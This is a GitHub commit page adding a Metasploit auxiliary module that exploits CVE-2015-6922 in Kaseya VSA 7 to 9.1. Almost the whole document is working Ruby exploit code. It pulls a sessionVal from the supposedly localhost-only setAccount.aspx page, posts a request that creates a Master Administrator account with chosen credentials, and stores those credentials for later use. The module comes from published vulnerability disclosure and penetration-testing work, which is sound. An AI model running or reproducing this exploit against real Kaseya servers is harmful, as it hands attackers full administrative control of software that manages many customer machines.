Skip to content

Commit 8af5a8e

Browse files
author
Pedro Ribeiro
committed
Create exploit for Kaseya privilege escalation
1 parent 9746753 commit 8af5a8e

File tree

1 file changed

+103
-0
lines changed

1 file changed

+103
-0
lines changed
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Kaseya VSA Master Administrator Account Creation',
16+
'Description' => %q{
17+
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
18+
Master Administrator account. Normally this page is only accessible via the localhost
19+
interface, but the application does nothing to prevent this apart from attempting to
20+
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
21+
v9.0.0.3.
22+
},
23+
'Author' =>
24+
[
25+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2015-6922' ],
31+
[ 'ZDI', '15-448' ],
32+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ],
33+
[ 'URL', 'TODO_FULLDISC_URL' ]
34+
],
35+
'DisclosureDate' => 'Sep 23 2015'))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [ true, "The Kaseya VSA URI", '/']),
40+
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
41+
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
42+
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
43+
], self.class)
44+
end
45+
46+
47+
def run
48+
res = send_request_cgi({
49+
'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
50+
'method' =>'GET',
51+
})
52+
53+
if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
54+
sessionVal = $1
55+
print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account")
56+
57+
res = send_request_cgi({
58+
'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
59+
'method' =>'POST',
60+
'vars_post' => {
61+
"sessionVal" => sessionVal,
62+
"adminName" => datastore['USERNAME'],
63+
"NewPassword" => datastore['PASSWORD'],
64+
"confirm" => datastore['PASSWORD'],
65+
"adminEmail" => datastore['EMAIL'],
66+
"setAccount" => "Create"
67+
}
68+
})
69+
70+
if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/
71+
print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created")
72+
service_data = {
73+
address: rhost,
74+
port: rport,
75+
service_name: (ssl ? 'https' : 'http'),
76+
protocol: 'tcp',
77+
workspace_id: myworkspace_id
78+
}
79+
credential_data = {
80+
origin_type: :service,
81+
module_fullname: self.fullname,
82+
private_type: :password,
83+
private_data: datastore['PASSWORD'],
84+
username: datastore['USERNAME']
85+
}
86+
87+
credential_data.merge!(service_data)
88+
credential_core = create_credential(credential_data)
89+
login_data = {
90+
core: credential_core,
91+
access_level: 'Master Administrator',
92+
status: Metasploit::Model::Login::Status::UNTRIED
93+
}
94+
login_data.merge!(service_data)
95+
create_credential_login(login_data)
96+
else
97+
print_error("#{peer} - Master Administrator account creation failed")
98+
end
99+
else
100+
print_error("#{peer} - Failed to get sessionVal")
101+
end
102+
end
103+
end

0 commit comments

Comments
 (0)